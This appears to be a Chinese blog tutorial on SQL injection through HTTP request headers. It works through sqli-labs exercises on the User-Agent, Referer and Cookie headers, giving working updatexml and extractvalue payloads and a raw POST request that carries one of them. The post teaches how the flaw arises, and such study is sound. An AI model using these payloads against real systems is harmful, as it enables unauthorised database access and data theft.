当前位置: 首页 > news >正文

SQL注入之HTTP请求头注入

Ps: 先做实验,在有操作的基础上理解原理会更清晰更深入。

一、实验 sqli-lab

1. User-Agent注入

  • 特点:登陆后返回用户的 User-Agent --> 服务器端可能记录用户User-Agent

703d0c6f-0f55-4500-a971-b9d0cf652954

  • 输入不合法数据报错

4aca6065-85d6-43dd-89b0-16a7caa4597a

  • payload:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay

  • 数据包
POST /sqli-labs/Less-18/index.php HTTP/1.1
Host: 10.49.102.86
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
X-Forward-For:
User-Agent:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay
Upgrade-Insecure-Requests: 1submit=Submit&uname=admin&passwd=admin
  • 备注:

该注入是insert语句的注入,完整SQL语句为:

$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
payload有效备注
‘,’‘,’') and updatexml(1,concat(““,database(),””),1)先闭合insert
’ and updatexml(1,concat(““,database(),””),1),‘’,‘’)-- clay`后闭合insert

总结:insert类型的SQL注入时,在注入点闭合后就添加要执行的语句,而不是,闭合完整个insert语句后再添加要执行的语句。

2. Referer注入

特点: 返回用户的Referer,可能后端会记录该值

3726faf2-3584-4891-99e5-0bc3efb17fdb

85289be8-628f-49f0-995c-73d63c69c0a2

payload12138' and extractvalue(1,concat("~",database())) ,'') -- clay

b68e69f1-db3f-47c4-bcc6-6cedf52ade72

3. Cookie注入

特点: 返回,后端可能记录User-Agent和Cookie

90f536c0-61f5-4ee1-951b-6954bb5d96bc

把cookie的值删除后:

2597990e-329c-4dae-aed5-35a20e4550ce

2e912a1c-f84b-430c-877f-6d1f431d1194

payload: ' and updatexml(1,concat("~",database(),"~"),1) -- clay

fa799001-4aab-44cc-b85d-cf2f8b3a7b62

二、 HTTP头部注入讲解

一下均为自己的理解,讲的大白话一点,粗体是核心。

原理:

HTTP头部注入产生的核心原因就是,后端存在查询或记录HTTP请求头内容(数据库交互)

实验一:后端记录 User-Agent ,insert 类型的注入

实验二:后端记录 Referer ,insert 类型的注入

实验三:后端查询 cookie ,select 类型的注入

不同的注入类型存在不同的闭合方式,这个一点要注意,除上述闭合类型以外,当搜索框中存在注入时,可能需要%的闭合(模糊查询 like %xxx%)

三、总结

在这里还是再次强调一下SQL注入产生的条件:用户输入的语句带入到数据库执行

  1. 参数可控

  2. 带入到数据库执行

HTTP头部注入也是一模一样,用户可以控制HTTP请求头,后端带入到数据库执行,这两个条件缺一个都不可以!

如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net

相关文章:

SQL注入之HTTP请求头注入

Ps: 先做实验,在有操作的基础上理解原理会更清晰更深入。 一、实验 sqli-lab 1. User-Agent注入 特点:登陆后返回用户的 User-Agent --> 服务器端可能记录用户User-Agent 输入不合法数据报错 payload: and updatexml(1,concat("~&…...

Metasploit详细教程

第一步:安装和启动Metasploit 您可以从Metasploit官方网站下载适用于您操作系统的Metasploit框架。安装Metasploit框架后,您可以使用以下命令来启动Metasploit: msfconsole该命令将启动Metasploit控制台。 第二步:查找目标设备…...

【ChatGPT】Notion AI 从注册到体验:如何免费使用

欢迎关注【youcans的GPT学习笔记】原创作品,火热更新中 【ChatGPT】Notion AI 从注册到体验1. Notion AI 介绍1.1 Notion AI 简介1.2 Notion AI 的核心能力1.3 Notion AI 与 ChatGPT 的比较2. Notion AI 国内用户注册2.1 PC 端用户注册2.2 移动端用户注册3. Notion …...

每个开发人员都需要掌握的10 个基本 SQL 命令

SQL 是一种非常常见但功能强大的工具,它可以帮助从任何数据库中提取、转换和加载数据。数据查询的本质在于SQL。随着公司和组织发现自己处理的数据量迅速增加,开发人员越来越需要有效地使用数据库来处理这些数据。所以想要暗恋数据领域,SQL是…...

Vue项目预渲染

前言 Ajax 技术的出现,让我们的 Web 应用能够在不刷新的状态下显示不同页面的内容,这就是单页应用。在一个单页应用中,往往只有一个 html 文件,然后根据访问的 url 来匹配对应的路由脚本,动态地渲染页面内容。单页应用…...

可别再用BeanUtils了(性能拉胯),试试这款转换神器

老铁们是不是经常为写一些实体转换的原始代码感到头疼,尤其是实体字段特别多的时候。有的人会说,我直接使用get/set方法。没错,get/set方法的确可以解决,而且也是性能较高的处理方法,但是大家有没有想过,要…...

Transformer 杂记

Transformer输入的是token,来自语言序列的启发。卷积神经网络(CNN)是如何进行物种分类的.它实际是直接对特征进行识别,也就是卷积神经网络最基本的作用:提取图像的特征。例如:卷积神经网络判断一只狗的时候&#xff0c…...

实现异步的8种方式

前言异步执行对于开发者来说并不陌生,在实际的开发过程中,很多场景多会使用到异步,相比同步执行,异步可以大大缩短请求链路耗时时间,比如:「发送短信、邮件、异步更新等」,这些都是典型的可以通…...

Github隐藏功能显示自己的README,个人化你的Github主页

Github隐藏功能:显示自己的README 你可能还不知道,GitHub 悄悄上线了一个全新的个人页功能,显示一个自定义的 README.MD 在个人首页。要激活此功能,需要新建一个与自己 ID 同名的 Repository,新 Repo 里的README.MD将…...

单片机 | 51单片机原理

【金善愚】 单片机应用原理篇 笔记整理 课程视频 :https://space.bilibili.com/483942191/channel/collectiondetail?sid51090 文章目录一、引脚分布介绍1.分类2.电源引脚3.时钟引脚(2根)4.控制引脚(4根)5.端口引脚(32根)二、存储器结构及空间分布介绍1.存储器的划…...

(只需五步)注册谷歌账号详细步骤,解决“此电话号码无法验证”问题

目录 第一步:打开google浏览器 第二步:设置语言为英语(美国) 第三步:点击重新启动,重启浏览器 第四步:开始注册 第五步,成功登录google账号! 如果出现这样的原因&…...

ChatGPT使用介绍、ChatGPT+编程、相关组件和插件记录

文章目录介绍认识ChatGPT是通过英汉互译来实现中文回答的吗同一个问题,为什么中英文回答不同ChatGPT的使用对话组OpenAI APIAI智能绘图DALLE 2ChatGPT for Google插件ChatGPT编程编写代码代码错误修正与功能解读代码评审与优化推荐技术方案编写和优化SQL语句在代码编…...

linux系统中复制粘贴和头文件问题解决方案

各位开发者大家好,好久不见,为了更好的服务大家,将平常所见所闻,以及遇到的问题和解决办法进行记录和总结。大家在学习过程中,有任何问题欢迎交流学习!!!。 第一:如何将w…...

Vue项目实战 —— 后台管理系统( pc端 ) —— Pro最终版本

前期回顾 开源项目 —— 原生JS实现斗地主游戏 ——代码极少、功能都有、直接粘贴即用_js斗地主_0.活在风浪里的博客-CSDN博客JS 实现 斗地主网页游戏https://blog.csdn.net/m0_57904695/article/details/128982118?spm1001.2014.3001.5501 通用版后台管理系统,如果…...

Springboot+vue开发的图书借阅管理系统项目源码下载-P0029

前言图书借阅管理系统项目是基于SpringBootVue技术开发而来,功能相对比较简单,分为两个角色即管理员和学生用户,核心业务功能就是图书的发布、借阅与归还,相比于一些复杂的系统,该项目具备简单易入手,便于二…...

学习 Python 之 Pygame 开发魂斗罗(十三)

学习 Python 之 Pygame 开发魂斗罗(十三)继续编写魂斗罗1. 创建敌人2类2. 编写敌人2类的draw()函数3. 编写敌人越界消失函数4. 编写敌人开火函数5. 把敌人2加入地图进行测试继续编写魂斗罗 在上次的博客学习 Python 之 Pygame 开发魂斗罗(十…...

指针进阶(中)

提示: 上集内容小复习🥰🥰 int my_strlen(const char* str) {return 1; } int main() {//指针数组char* arr[10];//数组指针int arr2[5] { 0 };int(*p)[5] &arr2; //p是一个指向数组的指针变量//函数指针int (*pf)(const char*)&m…...

C/C++获取文件名的方法(__FILE__,__builtin_FILE(),__BASE_FILE__)

目录标题C/C获取文件名的方法__FILE__宏避免__FILE__宏的错误慎用$(subst $(dir $<),,$<)\"")来重定义__BASE_FILE__宏__builtin_FILE()函数Windows API函数GetModuleFileName()getenv()使用cmake中的变量重定义__FILE__宏的CMake示例C/C获取文件名的方法 使用…...

线程池的讲解和实现

&#x1f680;&#x1f680;&#x1f680;&#x1f680;&#x1f680;&#x1f680;&#x1f680;大家好,今天为大家带来线程池相关知识的讲解,并且实现一个线程池 &#x1f338;&#x1f338;&#x1f338;&#x1f338;&#x1f338;&#x1f338;&#x1f338;&#x1f338;…...

linux编程──gcc和clang

实验链接 编译原理实验-GCC/Clang工具链在ARM架构上的使用 实验报告 第1关&#xff1a;理解程序的不同表示形式 ##问题1-1&#xff1a; 如果在命令行下执行 gcc -DNEG -E sample.c -o sample.i生成的sample.i 与之前的有何区别&#xff1f; 根据定义NEG,而选择了M定义为-4…...

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站&#xff0c;会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后&#xff0c;网站没有变化的情况。 不熟悉siteground主机的新手&#xff0c;遇到这个问题&#xff0c;就很抓狂&#xff0c;明明是哪都没操作错误&#x…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现

目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...

【kafka】Golang实现分布式Masscan任务调度系统

要求&#xff1a; 输出两个程序&#xff0c;一个命令行程序&#xff08;命令行参数用flag&#xff09;和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽&#xff0c;然后将消息推送到kafka里面。 服务端程序&#xff1a; 从kafka消费者接收…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

el-switch文字内置

el-switch文字内置 效果 vue <div style"color:#ffffff;font-size:14px;float:left;margin-bottom:5px;margin-right:5px;">自动加载</div> <el-switch v-model"value" active-color"#3E99FB" inactive-color"#DCDFE6"…...

Python爬虫(二):爬虫完整流程

爬虫完整流程详解&#xff08;7大核心步骤实战技巧&#xff09; 一、爬虫完整工作流程 以下是爬虫开发的完整流程&#xff0c;我将结合具体技术点和实战经验展开说明&#xff1a; 1. 目标分析与前期准备 网站技术分析&#xff1a; 使用浏览器开发者工具&#xff08;F12&…...

【AI学习】三、AI算法中的向量

在人工智能&#xff08;AI&#xff09;算法中&#xff0c;向量&#xff08;Vector&#xff09;是一种将现实世界中的数据&#xff08;如图像、文本、音频等&#xff09;转化为计算机可处理的数值型特征表示的工具。它是连接人类认知&#xff08;如语义、视觉特征&#xff09;与…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别

【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而&#xff0c;传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案&#xff0c;能够实现大范围覆盖并远程采集数据。尽管具备这些优势&#xf…...

区块链技术概述

区块链技术是一种去中心化、分布式账本技术&#xff0c;通过密码学、共识机制和智能合约等核心组件&#xff0c;实现数据不可篡改、透明可追溯的系统。 一、核心技术 1. 去中心化 特点&#xff1a;数据存储在网络中的多个节点&#xff08;计算机&#xff09;&#xff0c;而非…...

P10909 [蓝桥杯 2024 国 B] 立定跳远

# P10909 [蓝桥杯 2024 国 B] 立定跳远 ## 题目描述 在运动会上&#xff0c;小明从数轴的原点开始向正方向立定跳远。项目设置了 $n$ 个检查点 $a_1, a_2, \cdots , a_n$ 且 $a_i \ge a_{i−1} > 0$。小明必须先后跳跃到每个检查点上且只能跳跃到检查点上。同时&#xff0…...